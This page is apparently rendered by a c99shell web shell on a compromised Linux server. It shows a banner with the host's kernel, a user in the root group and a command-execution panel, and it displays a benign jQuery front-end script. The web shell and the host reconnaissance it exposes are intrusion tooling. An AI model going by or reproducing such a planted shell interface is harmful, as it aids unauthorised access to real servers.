Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/ai.picotech.app/public_html/public/js/ drwxr-xr-x |
Viewing file: Select action/file-type: (function($) { "use strict"; $('#modal-confirm').on('show.bs.modal', function (e) { const button=$(e.relatedTarget); const message=button.attr('data-message'); const method=button.attr('data-method')?button.attr('data-method'):'post'; const action=button.attr('data-action'); const input=JSON.parse(button.attr('data-input')); let div=''; $.each(input,function(index,value){ div+=`<input type="hidden" name=${index} value=${value}>`; }); $('#modal-confirm .modal-body').html(message); $('#modal-form').attr('method',method).attr('action',action); $('#modal-form #customInput').html(div); $('#modal-confirm-btn').attr('type','submit'); }) })(jQuery); function toggleSection(from,to){ "use strict"; $(from).hide(); $(to).show(); } function notify(type,message) { "use strict"; $(document).Toasts('create', { autohide: true, delay: 3000, class: 'bg-'+type, title: 'Notification', body: message }) } function remove_readonly(e) { "use strict"; e.removeAttribute('readonly'); } function isHTML(str){ return new RegExp("(?<=<)\\/?[a-zA-z]+\\s*(?=[^<]*?>)").test(str); } $(document).on('change', 'input,textarea', function (e) { const val = $(this).val(); const is_Html = isHTML(val); const label = $(this).parent().find('label'); const form = $(this).parents().find('form'); const errorHtml = `<span id="input-error-message" class="text-danger" style=" font-size: 14px; margin-left: 5px; ">Please enter valid data</span>`; if (label) { label.css('color', is_Html ? 'var(--danger)' : 'inherit'); } if (is_Html) { $(this).addClass('border-danger') if(!$(this).parent().find('span').hasClass('invalid-feedback')){ $('#input-error-message').remove(); $(errorHtml).insertAfter($(this)); } } else { $('#input-error-message').remove(); $(this).removeClass('border-danger') } if (form && is_Html) { form.find('button[type="submit"]').addClass('disable').attr('disabled', 'disabled') } else if (form) { form.find('button[type="submit"]').removeClass('disable').removeAttr('disabled') } }) |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]-- |